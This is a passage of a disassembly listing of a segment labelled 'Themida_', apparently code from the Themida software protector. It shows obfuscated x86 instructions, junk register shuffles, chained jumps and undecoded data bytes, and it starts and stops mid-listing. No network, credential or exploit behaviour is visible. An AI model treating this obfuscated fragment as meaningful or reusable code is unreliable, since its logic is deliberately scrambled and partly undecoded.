		jmp	loc_55B459
; ---------------------------------------------------------------------------
		db 89h
		dd 4B9240Ch, 81000000h,	3970C1C6h, 0E9CE017Ah, 0FFFFFA9Dh
; ---------------------------------------------------------------------------


loc_5615D4:				; CODE XREF: Themida_:00553D70j
		push	2C34h
		jmp	loc_5503D1
; ---------------------------------------------------------------------------


loc_5615DE:				; CODE XREF: Themida_:0055EED2j
		pop	ecx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		push	edx
		push	ebp
		mov	ebp, 6F3E0F58h
		push	eax
		jmp	loc_564E18
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 188168h, 242C8900h, 0FFD0A1E9h, 59CE31FFh, 5946C381h
		dd 0F30155CBh, 5946EB81h, 815E55CBh, 4C3h, 74FF5300h, 0E8E90424h
		dd 2DFFFF78h, 32911A5h,	5DAFBA52h, 0EA816A5Eh, 45DA3ADDh
		dd 613C281h, 0EA816850h, 1A321FACh, 546EE281h, 0F28143D9h
		dd 3AE62B2Ah, 7C1BC205h, 2DD0010Ah, 0A7C1BC2h, 7CBD555Ah
		dd 291DE46Ch, 3890E9E8h, 0CD89FFFFh, 0FF8D68E9h, 4C281FFh
		dd 81000000h, 4C2h, 7C20E900h, 815BFFFFh, 2C7BD1E3h, 22E9574Fh
		dd 0BDFFFF19h, 18F2314Bh, 0E831C531h, 0D0F7C531h, 0E831C531h
		dd 0EC83C531h, 240C8904h, 7E23F6B9h, 0FEC18132h, 0E91AAC13h
		dd 0FFFF6581h, 4BEh, 83BEE900h,	0E95AFFFFh, 27FBh, 53C1E95Eh
		dd 0EF83FFFFh, 243C8704h, 8924248Bh, 0C3B9240Ch, 8107681Bh
		dd 681BC7F1h, 47C68107h, 8177674Dh, 0A04F80EEh,	81CE016Ah
		dd 0A04F80C6h, 6919686Ah, 4890000h, 4BBE5624h, 56667969h
		dd 0FFF21EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561711:				; CODE XREF: Themida_:00554969j
		pop	ebx
		mov	bl, ah
		push	dword ptr [esp]
		pop	eax
		push	eax
		push	esp
		jmp	loc_553F37
; ---------------------------------------------------------------------------


loc_56171F:				; CODE XREF: Themida_:00560F0Fj
		push	edi
		jmp	loc_562032
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 81E78957h, 4C7h, 4EF8100h, 87000000h, 895C243Ch, 77BF243Ch
		dd 0E9623D26h, 0FFFFEE27h, 8101C283h, 0B6044BCAh, 0EA81420Fh
		dd 0F4441A37h, 15AD529h, 0F41E9EBh, 8F5CFFFFh, 248B2404h
		dd 0C8BE0F24h, 60A968h,	240C8900h, 0FEE09DE9h, 59EB88FFh
		dd 525BD830h, 0E9C38853h, 0FFFF3C65h
; ---------------------------------------------------------------------------


loc_561788:				; CODE XREF: Themida_:00563A16j
		mov	[esp], ebx
		mov	ebx, 29936303h
		mov	edx, ebx
		pop	ebx
		jmp	loc_556368
; ---------------------------------------------------------------------------


loc_561798:				; CODE XREF: Themida_:00552432j
		sub	esp, 4
		mov	[esp], edi
		push	esi
		push	6107033Bh
		pop	esi
		add	esi, 0EEA1003Bh
		jmp	loc_5519A1
; ---------------------------------------------------------------------------
		db 2Dh
		dd 1DB01CF6h, 755B802Dh, 5D82909h, 9755B80h, 0B01CF605h
		dd 0F2EBE91Dh, 0DDF7FFFEh, 8104E5C1h, 3D5685CDh, 0ACED814Eh
		dd 81050A56h, 7F954CC5h, 8BEB0129h, 0C481242Ch,	4, 8124348Bh
		dd 4C4h, 61C38100h, 8104B600h, 3A256BEBh, 81C3292Bh, 3A256BC3h
		dd 61EB812Bh, 5104B600h, 0FF3B82E9h, 242489FFh,	4240483h
		dd 0FF415BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561825:				; CODE XREF: Themida_:005646E8j
		add	edx, 713A467Ah
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_561360
; ---------------------------------------------------------------------------
		dd 6624248Bh, 6866E1F7h, 22E966E8h
		db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561843:				; CODE XREF: Themida_:00563071j
		push	ebx
		mov	ebx, edi
		mov	esi, ebx
		pop	ebx
		jmp	loc_55C39F
; ---------------------------------------------------------------------------


loc_56184E:				; CODE XREF: Themida_:00555D3Bj
		push	esp
		jmp	loc_550D38
; ---------------------------------------------------------------------------
		dd 0BBE9028Fh, 0FFFFFEDFh, 5F042474h, 0FF118EE9h, 0C58158FFh
		dd 4, 0E9242C33h, 0FFFF53A2h, 0FEDF9DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561879:				; CODE XREF: Themida_:0055BECAj
		pop	edx
		pop	ebx
		jmp	loc_54F816
; ---------------------------------------------------------------------------
		dd 0B4D1E950h, 0E9C3FFFFh, 0FFFF5BD0h
; ---------------------------------------------------------------------------


loc_56188C:				; CODE XREF: Themida_:005527C0j
		pop	eax
		push	486h
		mov	[esp], eax
		push	edi
		mov	edi, 4
		mov	eax, edi
		pop	edi
		sub	edx, eax
		jmp	loc_550B70
; ---------------------------------------------------------------------------


loc_5618A5:				; CODE XREF: Themida_:005629B2j
		xor	eax, 2DA807D3h
		mov	edx, eax
		pop	eax
		jmp	loc_55E317
; ---------------------------------------------------------------------------


loc_5618B2:				; CODE XREF: Themida_:0055481Bj
		xor	cl, 0F2h
		jmp	loc_54FC8C
; ---------------------------------------------------------------------------
		dw 2C81h
		dd 5D143A24h, 5258E976h, 0F708FFFFh, 0B5515A66h, 0E9C5FE6Ch
		dd 0FFFF40FFh, 0C2815A54h, 4, 68DEBD55h, 0E5814FC1h, 79707596h
		dd 0F581D5F7h, 0B6BF9F6Dh, 0FF4D4DE9h, 243487FFh, 2424895Ch
		dd 4240483h, 0E924348Bh, 0FFFFB9E9h, 8704C183h,	55C240Ch
		dd 4, 5C240487h, 0C18E9h, 24248900h, 8904EC83h,	0D5BD242Ch
		dd 0E90E6F2Dh, 0FFFFDF15h
; ---------------------------------------------------------------------------


loc_561930:				; CODE XREF: Themida_:00552E7Bj
		push	ecx
		jmp	loc_5531CA
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 1D0AE924h, 6F68FFFFh, 89000035h, 0BFE92404h,	0C1FFFFDEh
		dd 0F78102E7h, 2DA4E4Eh, 7BDAC781h, 0FE01A102h,	2434875Fh
		dd 0FF448FE9h, 88E958FFh
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56196B:				; CODE XREF: Themida_:0054FDBDj
		add	ebp, esi
		pop	esi
		jmp	loc_5547C6
; ---------------------------------------------------------------------------
		db 56h
		dd 0A95C6BBEh, 0EAC68148h, 31DA6712h, 0FF3AE9F7h, 0E1C1FFFEh
		dd 0D0E95506h, 53FFFFBFh, 0C381E389h, 4, 4C381h, 1C870000h
		dd 5FE95C24h, 0B7FFFF5Fh, 0E9FA8894h, 0FFFEE933h, 0B805E0D1h
		dd 0E9664D4Fh, 0FFFF2EDEh
; ---------------------------------------------------------------------------


loc_5619BC:				; CODE XREF: Themida_:0055EBC3j
		mov	ebp, 7CD76A8Ah
		add	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	edi, 0FFFFFFFFh
		shl	edi, 7
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_55E094
; ---------------------------------------------------------------------------


loc_5619E0:				; CODE XREF: Themida_:0055275Cj
		and	eax, ecx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_559F1B
; ---------------------------------------------------------------------------


loc_5619F1:				; CODE XREF: Themida_:005590F7j
		mov	ebp, edi
		pop	edi
		mov	edi, ebp
		jmp	loc_55DCEB
; ---------------------------------------------------------------------------
		db 53h
		dd 0FF6934E9h, 0E0C681FFh, 2952E251h, 1C685EF0h, 8900006Dh
		dd 1BB241Ch, 21000000h,	241C8BD8h, 0FFA8E8E9h, 4C481FFh
		dd 1000000h, 2FB005D8h,	34FF2ECFh, 241C8B24h, 8A05E951h
		dd 8568FFFFh, 89000055h, 0B450240Ch, 0FFE188CBh, 57582434h
		dd 0A0E9E789h, 53FFFF34h, 236F61BBh, 0C8F38160h, 0E97DB46Ah
		dd 0FFFFF30Fh, 58C1295Eh, 482E981h, 0D12936C5h,	1B25E9h
		dd 5DE90100h, 1C0FBE56h, 0DEF741E6h, 8104E6C1h,	0D7070CEEh
		dd 5EF729CFh, 5D99C781h, 0CF011A67h, 5D99EF81h,	0BB531A67h
		dd 3A100765h, 0CF61EB81h, 0DF012848h, 75E9595Bh
		db 0C1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561AAF:				; CODE XREF: Themida_:0055CC20j
		xor	[ebx], edx
		jmp	loc_556F70
; ---------------------------------------------------------------------------


loc_561AB6:				; CODE XREF: Themida_:0055A922j
		push	edi
		mov	edi, 0EEB57BBh
		xchg	ebp, edi
		xchg	eax, ebp
		not	eax
		xchg	eax, ebp
		jmp	loc_55A3A5
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481241Ch, 4, 7DBE5653h, 0E973452Dh, 0FFFFADD6h
; ---------------------------------------------------------------------------


loc_561ADC:				; CODE XREF: Themida_:0055EBF7j
		mov	ebx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 20806F2Bh
		jmp	loc_54FD62
; ---------------------------------------------------------------------------
		db 1, 0F0h, 5Eh
		dd 2CC7E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561AF6:				; CODE XREF: Themida_:005568AEj
		mov	edx, esp
		jmp	loc_560656
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 8B000000h, 0C483240Ch, 3AB9BA04h, 0C229C533h, 24540158h
		dd 0E7FEE908h, 0F381FFFEh, 0A906EF1h, 7FE9D821h, 68FFFF03h
		dd 71DFh, 0B9240C89h, 6EB26F8Fh, 0C8BC829h, 4C48324h, 0FF21E9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561B41:				; CODE XREF: Themida_:0055CE27j
		mov	esp, [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], edi
		push	ebp
		push	1BFF0475h
		pop	ebp
		jmp	loc_55FE56
; ---------------------------------------------------------------------------
		db 1
		dd 242C8BE9h, 0FF5742E9h, 9FC781FFh, 0E912D9E9h, 0FFFF3954h
		dd 0D025D0F7h, 0E9539754h, 0FFFF99BFh, 4C481h, 34FF0000h
		dd 24348B24h, 8304C483h, 348904ECh, 0E9E68924h,	0FFFFA4D9h
; ---------------------------------------------------------------------------


loc_561B94:				; CODE XREF: Themida_:00554D02j
		pop	edx
		push	ebp
		pop	edi
		jmp	loc_5525CF
; ---------------------------------------------------------------------------
		dd 2353D1BEh, 0C1DEF720h, 0E6C107E6h, 0B0F68103h, 0E93F3CB1h
		dd 0FFFFE194h, 6F2193BEh, 0E9D6F741h, 0FFFF4463h, 0E9D831ADh
		dd 0FFFF4B8Bh, 68242C89h, 6D485B18h, 1BD3B95Dh,	0E901BBC7h
		dd 0EFF1815Dh, 1290F76h, 40E959CBh, 1FFFFB8h, 0F5E958C5h
		dd 8100002Dh, 4C4h, 8BCE8900h, 8957240Ch, 1360E9E7h, 0FB90000h
		dd 9002E10h, 0D7F759CFh, 74E9514Fh, 56FFFF4Ah, 8953E689h
		dd 4C381E3h, 0E9000000h, 2CF3h
; ---------------------------------------------------------------------------


loc_561C24:				; CODE XREF: Themida_:00559054j
		pop	ebx
		sub	esp, 4
		jmp	loc_55C041
; ---------------------------------------------------------------------------


loc_561C30:				; CODE XREF: Themida_:005510E1j
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_555A05
; ---------------------------------------------------------------------------
		db 1, 0D9h, 5Bh
		dd 4EC8357h, 0E9241C89h, 0FFFF74FAh
; ---------------------------------------------------------------------------


loc_561C48:				; CODE XREF: Themida_:00552F6Bj
		not	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_560483
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0CF8005EFh, 0C199E963h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561C5E:				; CODE XREF: Themida_:0056327Ej
		push	5F81h
		mov	[esp], esi
		push	edi
		mov	edi, 4412416Eh
		not	edi
		sub	edi, 770374B4h
		inc	edi
		sub	edi, 2E1E7C67h
		jmp	loc_56306B
; ---------------------------------------------------------------------------


loc_561C80:				; CODE XREF: Themida_:005624D0j
		push	ecx
		push	edx
		mov	dh, 16h
		mov	ch, 0C0h
		add	ch, dh
		pop	edx
		add	ch, 9Eh
		push	edx
		mov	dh, 7Bh
		neg	dh
		or	dh, 4Eh
		jmp	loc_55425B
; ---------------------------------------------------------------------------
		db 0F6h, 0D9h, 80h
		dd 0C18037C1h, 0E9CFB2B3h, 0FFFFA5C3h, 5224348Bh, 0FF7A41E9h
		dd 2EBC1FFh, 0B103F381h, 0DD8912D4h, 28ED815Bh,	45439F0Fh
		dd 3FE9D5F7h, 5FFFF34h,	234D15D4h, 58C3015Ah, 0FF654CE9h
		dd 4C481FFh, 33000000h,	0C0E9240Ch, 89FFFEE7h, 242C8BE8h
		dd 4C481h, 1C8B0000h, 4C48324h,	1E7BC581h, 0C581016Bh
		dd 2C672133h, 3A19C581h, 0C501216Ch, 2BC6B850h,	6B2D785Ch
		dd 2D56523Eh, 17766116h, 0D8ADD405h, 4AE8E916h,	405FFFFh
		dd 83000000h, 48704C0h,	0EB805C24h, 912BE976h, 1487FFFFh
		dd 3C895C24h, 65C1E924h, 8B66FFFFh, 83562404h, 8F5404ECh
		dd 4832404h, 34FF0424h,	0B5C5E924h, 52ACFFFFh, 0FFE3AEE9h
		dd 0D4E958FFh, 0D1FFFEEDh, 4EC81EBh, 89000000h,	0BFBD242Ch
		dd 315FAFDFh, 0DD895DEBh, 0FF39B3E9h, 4C481FFh,	0E9000000h
		dd 95Ch, 5A4968h, 24148900h, 102949BAh,	5A4AE972h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561DA2:				; CODE XREF: Themida_:0055F8E3j
		xor	ebx, ecx
		mov	ecx, [esp]
		jmp	loc_55CD28
; ---------------------------------------------------------------------------
		dd 83242489h, 5F042404h, 57D9E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561DBA:				; CODE XREF: Themida_:0055C04Aj
		xor	edx, 6EB07B42h
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esi
		push	edx
		jmp	loc_55DB1D
; ---------------------------------------------------------------------------


loc_561DD9:				; CODE XREF: Themida_:00556971j
		neg	ah
		shr	ah, 5
		add	ah, 0D0h
		add	bl, ah
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	bl, 91h
		add	bl, 7Bh
		jmp	loc_55DD39
; ---------------------------------------------------------------------------
		dd 31240C33h, 0C33240Ch, 7DE95C24h, 53000026h, 4BBh, 45E98100h
		dd 10CF269h, 45C181D9h,	5B0CF269h, 55595451h, 0E904EC83h
		dd 0FFFEE2FEh, 9063D7BAh, 0FCC2811Fh, 817CE811h, 745127C2h
		dd 0E9EA8128h, 812D994Ch, 537A0DEAh, 0E9D10197h, 0FFFFD20Bh
		dd 5C243487h, 240C8966h, 0EBB7E956h, 8B66FFFFh,	38E9240Ch
		dd 0ACFFFF73h, 5266D830h, 695868h, 2132E900h, 66530000h
		dd 66122568h, 0FB87665Bh, 1EF8366h, 0FFEA39E9h,	5DEF01FFh
		dd 0EF81F701h, 686B0FFAh, 6EA6EF81h, 9EE9735Dh
		db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561E9B:				; CODE XREF: Themida_:0055BFBEj
		pop	esp
		mov	[esp], ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		jmp	loc_55D529
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 24048900h, 0E8C0A7B0h,	24700405h, 4DF2C6Bh, 58C788EFh
		dd 80BECF80h, 0E98035F7h, 80F9007Bh, 305B7BC1h,	2434FFC8h
		dd 83240C8Bh, 18E904C4h
		db 1Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_561EE3:				; CODE XREF: Themida_:0055208Ej
		not	edx
		add	edx, 0CDDAA2B9h
		sub	ebp, edx
		jmp	loc_5550B2
; ---------------------------------------------------------------------------


loc_561EF2:				; CODE XREF: Themida_:00563B79j
		mov	ebp, 663AF5F9h
		xor	ebx, ebp
		push	dword ptr [esp]
		pop	ebp
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_563834
; ---------------------------------------------------------------------------


loc_561F15:				; CODE XREF: Themida_:0055033Cj
		xchg	ebp, [esp]
		pop	esp
		push	edx
		jmp	loc_553B4F
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 7FC6E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561F2A:				; CODE XREF: Themida_:00554E5Dj
		shl	edi, 7
		shr	edi, 7
		xor	edi, 2C7D0808h
		mov	esi, edi
		pop	edi
		jmp	loc_555374
; ---------------------------------------------------------------------------


loc_561F3E:				; CODE XREF: Themida_:005629FCj
		sub	ebx, 3A7E1A30h
		sub	ebx, 4C9E2FC2h
		push	ecx
		mov	ecx, 19D65FD2h
		inc	ecx
		add	ecx, 3D9BD7E6h
		sub	ebx, ecx
		push	dword ptr [esp]
		jmp	loc_564D41
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 240C8966h, 0C8B60F66h, 0E99C5166h, 0FFFED8A2h, 4EC81h
		dd 8F540000h, 0EC832404h, 243C8904h, 1332E9h, 0D888E900h
		dd 0C581FFFEh, 41B11F07h, 0E952F501h, 0FFFF9239h, 0E9A68h
		dd 10606800h, 8F540000h, 0EC832404h, 24348904h,	446168h
		dd 243C8900h, 2A40BA52h, 18E9046Ah
		db 86h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561FC3:				; CODE XREF: Themida_:00554F23j
		sub	eax, 367F0F51h
		not	eax
		shr	eax, 2
		add	eax, 2A94738Ah
		mov	ebp, eax
		pop	eax
		sub	ebx, ebp
		pop	ebp
		jmp	loc_554E2A
; ---------------------------------------------------------------------------


loc_561FDD:				; CODE XREF: Themida_:00560722j
		add	ebx, 0C5DC49EDh
		sub	eax, ebx
		jmp	loc_55482B
; ---------------------------------------------------------------------------
		dw 15Eh
		dd 243C8BFBh, 4C481h, 0BE560000h, 4, 348BF301h,	4C48124h
		dd 33000000h, 1C31241Ch, 241C3324h, 0FF24248Bh,	57582434h
		dd 2917E954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56201E:				; CODE XREF: Themida_:00559420j
		pop	ebp
		and	ecx, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		mov	edi, esp
		jmp	loc_5600F4
; ---------------------------------------------------------------------------


loc_562032:				; CODE XREF: Themida_:00561720j
		inc	dword ptr [esp]
		pop	edi
		sub	edi, 0FC05107h
		add	esi, edi
		pop	edi
		mov	eax, esi
		pop	esi
		push	ecx
		push	1ED5E42h
		pop	ecx
		or	ecx, 342F37FEh
		push	edi
		mov	edi, 0D85B6FE5h
		sub	ecx, edi
		pop	edi
		sub	eax, 603C7365h
		sub	eax, ecx
		add	eax, 603C7365h
		jmp	loc_55CC10
; ---------------------------------------------------------------------------
		db 0F7h, 0D7h, 0E9h
		dd 0FFFF2970h, 5C243C33h, 0B2E9F031h
		db 9Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56207B:				; CODE XREF: Themida_:00559A0Cj
		mov	[esp], edi
		push	edx
		mov	edx, 6D69512Ch
		mov	edi, edx
		pop	edx
		or	eax, edi
		pop	edi
		push	edx
		mov	edx, 703C299Ch
		jmp	loc_55EE69
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 3Ch
		dd 29050427h, 5FBA52F1h, 811D117Ah, 0FD51D4CAh,	8ECA8105h
		dd 0E948BF66h, 0FFFF80DEh, 348B5B56h, 4C48324h,	0FFFFC381h
		dd 0C381FFFFh, 1, 504DEB81h, 0C3810E90h, 0ED924C6h, 0FF77DDE9h
		dd 525954FFh, 4BAh, 5AD10100h, 1A14E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5620EA:				; CODE XREF: Themida_:005624DAj
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_55954E
; ---------------------------------------------------------------------------
		db 80h,	0F4h, 0FDh
		dd 0F692CC80h, 80CCFEDCh, 0C48073F4h, 4E3AE95Bh, 0E95BFFFFh
		dd 0FFFFD51Ch, 895BD801h, 0C80158C1h, 0E9240C8Bh, 0FFFFFC5Dh
		dd 240C8B66h, 0FF7334E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562131:				; CODE XREF: Themida_:0055553Aj
		pop	esp
		mov	[esp], esi
		mov	esi, 6EA26ACBh
		and	esi, 6F046166h
		shl	esi, 2
		jmp	loc_55F678
; ---------------------------------------------------------------------------
		dd 2B756850h, 40583B75h, 2B713548h, 81503B75h, 8A02404h
		dd 0CEE95D20h, 57FFFF32h, 4F159468h, 0CC3EE942h, 0E955FFFFh
		dd 1B44h, 8108E5C1h, 3A5A84CDh,	6831h, 33E90000h, 0FFFFFFF7h
		dd 34FF2434h, 0F328E924h, 2C89FFFEh, 6F57BD24h,	7EE92310h
		db 30h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56219F:				; CODE XREF: Themida_:0056323Ej
		push	dword ptr [esp]
		jmp	loc_552369
; ---------------------------------------------------------------------------
		db 0F7h
		dd 9FC381DBh, 1BE428Ch,	0E8E95BDFh, 51FFFF2Eh, 3D5FFEB9h
		dd 4B5CE957h, 0E5C1FFFFh, 6EE58106h, 0E90DF562h, 0FFFF238Eh
		dd 0C0685251h, 5A2E3452h, 0FF839FE9h, 59CA29FFh, 1DE2EA81h
		dd 0C2014E6Ah, 1DE2C281h, 0F4684E6Ah, 8900001Fh, 11E92434h
		dd 87FFFF47h, 815C241Ch, 0C07393E9h, 81C10142h,	0C07393C1h
		dd 0C875842h, 0B5ACE924h, 0C183FFFFh, 240C8704h, 49B3055Ch
		dd 3C2D1961h, 2D2A0E72h, 71691D65h, 6505C829h, 5571691Dh
		dd 5984BE56h, 0F681632Fh, 2D9E30C4h, 565EF589h,	5858DEBEh
		dd 5EF50173h, 0B022F581h, 0F205E807h, 117901Bh,	1BF22DE8h
		dd 37E91790h, 8BFFFEDDh, 34332424h, 24343124h, 8B243433h
		dd 0F1F62424h, 0CCB60F66h, 0FEDCDEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56227D:				; CODE XREF: Themida_:00551787j
		pop	ebp
		mov	esi, eax
		pop	eax
		push	ebp
		mov	ebp, esi
		mov	edx, ebp
		push	dword ptr [esp]
		jmp	loc_551B9D
; ---------------------------------------------------------------------------


loc_56228E:				; CODE XREF: Themida_:005569BDj
		add	edx, 3DCE2F8Ah
		not	edx
		jmp	loc_5637B5
; ---------------------------------------------------------------------------
		db 89h
		dd 11E953E5h, 53000020h, 0C64E9h
		db 0
; ---------------------------------------------------------------------------


loc_5622A9:				; CODE XREF: Themida_:0055156Cj
		push	small 0
		push	edx
		mov	dh, 0B3h
		sub	[esp+4], dh
		mov	edx, [esp]
		add	esp, 4
		push	ax
		mov	al, 3
		jmp	loc_556E67
; ---------------------------------------------------------------------------
		dw 0F66h
		dd 9C2404BBh, 0FED545E9h, 6EFC1FFh, 0E904EC83h,	2C73h
		dd 0A0C9E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5622E2:				; CODE XREF: Themida_:005595E3j
		dec	ecx
		shr	ecx, 6
		xor	ecx, 1FF5EF9h
		jmp	loc_5591BD
; ---------------------------------------------------------------------------
		db 5Fh,	81h, 0C7h
		dd 4, 5704EF83h, 0FFF55AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562301:				; CODE XREF: Themida_:0055E8D5j
		push	261D37A1h
		jmp	loc_55ED48
; ---------------------------------------------------------------------------


loc_56230B:				; CODE XREF: Themida_:00554A13j
		pop	esi
		sub	esp, 4
		mov	[esp], ecx
		push	ebp
		jmp	loc_55F2EC
; ---------------------------------------------------------------------------
		dd 405h, 4EC8100h, 0E9000000h, 0FFFFD817h
; ---------------------------------------------------------------------------


loc_562328:				; CODE XREF: Themida_:00555543j
		mov	eax, 0
		sub	eax, edi
		jmp	loc_5560DB
; ---------------------------------------------------------------------------
		dd 611B8DB8h, 0FF322D3Ch, 0C38932C5h, 0FFAC4EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562345:				; CODE XREF: Themida_:005533A0j
		add	edx, 4
		jmp	loc_564740
; ---------------------------------------------------------------------------


loc_562350:				; CODE XREF: Themida_:00560C95j
		pop	edi
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, esp
		push	eax
		push	esi
		push	ecx
		mov	ecx, 74C01C87h
		mov	esi, ecx
		pop	ecx
		xor	esi, 328C1C73h
		mov	eax, esi
		mov	esi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 5F106C11h
		jmp	loc_55325C
; ---------------------------------------------------------------------------
		dw 0FCB8h
		dd 0C14A632Eh, 0E8C107E8h, 0E9E0D108h, 0FFFFA0B7h, 5C241487h
		dd 5C6E6866h, 240C8966h, 8016B252h, 0C2805FC2h,	92C28001h
		dd 8E70E953h, 0FD88FFFFh, 1876C88h, 592434FFh, 81E28952h
		dd 4C2h, 4C28100h, 87000000h, 0E95C2414h, 0FFFFDE65h, 0F1BB5345h
		dd 4B34A029h, 4DC9C381h, 0DD211F4Eh, 31F5315Bh,	3BD1E9EEh
		dd 0D30DFFFFh, 575E8E48h, 0BE7CD3BFh, 1A6E9DFh,	3C870000h
		dd 5D80E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562402:				; CODE XREF: Themida_:00556F47j
		mov	ecx, 0
		add	ecx, 2242447Ah
		add	ecx, eax
		sub	ecx, 2242447Ah
		add	[ecx], esi
		pop	ecx
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_556199
; ---------------------------------------------------------------------------
		db 89h
		dd 0E5B951E3h, 0F7507E7Fh, 45C181D1h, 0C129E93Bh, 0E9C102E9h
		dd 72C18103h, 8106E301h, 0AE5748E9h, 8BCB010Dh,	0C483240Ch
		dd 0C4E95604h, 89FFFF4Bh, 0D0E92414h, 56FFFFDDh, 0C681E689h
		dd 4, 8704C683h, 285C2434h, 0B65266D8h,	66F028B7h, 8324148Bh
		db 0C4h, 2
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5627B7
; ---------------------------------------------------------------------------
		db 5Ch,	0E9h, 58h
		db 9Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562497:				; CODE XREF: Themida_:00560EF7j
		neg	edi
		push	esi
		mov	esi, 2A1312AFh
		or	esi, 1DE00122h
		or	esi, 5EA96C8Dh
		sub	esi, 4CAA6065h
		xor	edi, esi
		mov	esi, [esp]
		add	esp, 4
		mov	edx, edi
		jmp	loc_558481
; ---------------------------------------------------------------------------


loc_5624C0:				; CODE XREF: Themida_:0055648Cj
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		mov	al, dh
		mov	bh, al
		pop	eax
		pop	edx
		jmp	loc_561C80
; ---------------------------------------------------------------------------


loc_5624D5:				; CODE XREF: Themida_:00552347j
		push	416Bh
		jmp	loc_5620EA
; ---------------------------------------------------------------------------


loc_5624DF:				; CODE XREF: Themida_:00551D37j
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		xor	ecx, 65510129h
		jmp	loc_552E79
; ---------------------------------------------------------------------------
		dd 5104C483h, 5B3EBA52h, 0E28152AAh, 3E24655Ah,	13F1F281h
		dd 0D189497Fh, 0E181495Ah, 32977370h, 654C68h, 24048900h
		dd 0CC6E9h, 240C8700h, 5424248Bh, 1A4AE9h, 24143300h, 33241431h
		dd 248B2414h, 240CD224h, 0D2CCE99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56254A:				; CODE XREF: Themida_:00555A51j
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_560DF9
; ---------------------------------------------------------------------------


loc_562562:				; CODE XREF: Themida_:00552B5Aj
		shr	edx, 5
		neg	edx
		add	edx, 113D27CEh
		add	edi, edx
		pop	edx
		jmp	loc_556E9A
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 3AAABE56h, 0E6814EBEh, 185B2B51h, 0D8CE8146h, 0E9423B24h
		dd 0FFFFBDC6h
; ---------------------------------------------------------------------------


loc_562590:				; CODE XREF: Themida_:0055AD57j
		push	edx
		mov	edx, 687C2173h
		mov	ebp, 1BDF3981h
		jmp	loc_56285C
; ---------------------------------------------------------------------------
		dd 295FF829h, 9E958C3h
		db 74h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5625AB:				; CODE XREF: Themida_:00562865j
		add	[edi+20h], ebp
		pop	ebp
		jmp	loc_5562E2
; ---------------------------------------------------------------------------
		dd 0C037B652h, 0EE8602E6h, 0EE86D5F6h, 0E984C680h, 0FFFEED56h
		dd 24048B66h, 7E95553h
		db 0FFh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5625D3:				; CODE XREF: Themida_:0055A1C6j
		mov	edi, 19AD63CDh
		sub	dword ptr [esp+8], 785F4901h
		add	[esp+8], edi
		add	dword ptr [esp+8], 785F4901h
		pop	edi
		add	[esp+4], ecx
